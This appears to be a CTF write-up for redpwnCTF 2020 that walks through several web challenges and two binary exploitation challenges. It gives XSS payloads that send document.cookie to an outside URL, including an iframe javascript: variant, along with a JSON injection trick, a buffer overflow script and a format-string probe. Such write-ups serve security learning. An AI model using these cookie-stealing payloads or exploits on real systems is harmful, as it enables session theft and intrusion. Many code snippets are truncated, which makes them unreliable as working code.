redpwnCTF 2020 Writeup

Writeups to some challenges of redpwnCTF 2020


The user input is encoded to base64 and stored in the URL, the client JS decodes this and displays it on page, They seem to have included a simple function to sanitize the input given below

function clean(input) {
let brackets = 0;
let result = '';
for (let i = 0; i < input.length; i++) {
const current = input.charAt(i);
if (current == '<') {
brackets ++;
if (brackets == 0) {
result += current;
if (current == '>') {
brackets --;
return result

The function loops through each of the characters and strips out everything between '<' and '>'. On close inspection it seems that the function expects <'s be always balance and coming in order, so passing in


gave us


Now we have a way of putting arbitary HTML in the page, let's exploit this to steal the admin cookie

><img src="#" onerror="document.location=''+document.cookie">

Copying the hosted URL and submitting it to admin bot gives us the flag as flag{54n1t1z4t10n_k1nd4_h4rd}


Provided witha simple site where we can put username, there seems to be a member only fact, which has the flag Going through the provided source code I noticed they were using JSON.parse and JSON.stringify to decode the JSON from tokens. The token JSON was generated as below then encrypted

const token = `{"integrity":"${INTEGRITY}","member":0,"username":"${username}"}`

No sanitization was done on username, and we have full control over that, so we can overwrite the existing keys. Gave username as


And we can now view the member only fact, which gives the flag as flag{1_c4nt_f1nd_4_g00d_p4nd4_pun}


This seems to be similar to web/static-pastebin, with the exception that we can add few HTML tags and attributes, Digging into the souce code reveals this 'sanitize' function which performs client side sanitization of input txt

function sanitize(element) {
const attributes = element.getAttributeNames();
for (let i = 0; i < attributes.length; i++) {
// Let people add images and styles
if (!['src', 'width', 'height', 'alt', 'class'].includes(attributes[i])) {

const children = element.children;
for (let i = 0; i < children.length; i++) {
if (children[i].nodeName === 'SCRIPT') {
i --;
} else {

From the script, we understand that we can have any tag, ( except <SCRIPT> as it gets removed ), and few attributes Sending the same payload as before won't work because onerror attribute is not allowed.

Playing around with it , I found that iframes with src attribute are possible.

<iframe src="javascript:alert(1)">

For extracting the cookie, I wrote the following payload, which redirects the iframe to a known URL with the parent sites cookie in query string

<iframe src="javascript:document.location=''+this.parent.document.cookie+'>'"></iframe>

And we get the flag as flag{wh0_n33d5_d0mpur1fy}


A simple buffer overflow challenge

#include <stdio.h>
#include <string.h>

int main(void)
long code = 0;
char name[16];

setbuf(stdout, NULL);
setbuf(stdin, NULL);
setbuf(stderr, NULL);

puts("Welcome to coffer overflow, where our coffers are overfilling with bytes ;)");
puts("What do you want to fill your coffer with?");


if(code != 0) {

Exploit script

from pwn import *
sock.sendline(b'A' * 24 + key)


Simple pwntools + bruteforce to get offset

from pwn import *

for i in range(10):
s = remote('', 31826)
s.sendline("%"+str(i) + "$s")
response = s.recv()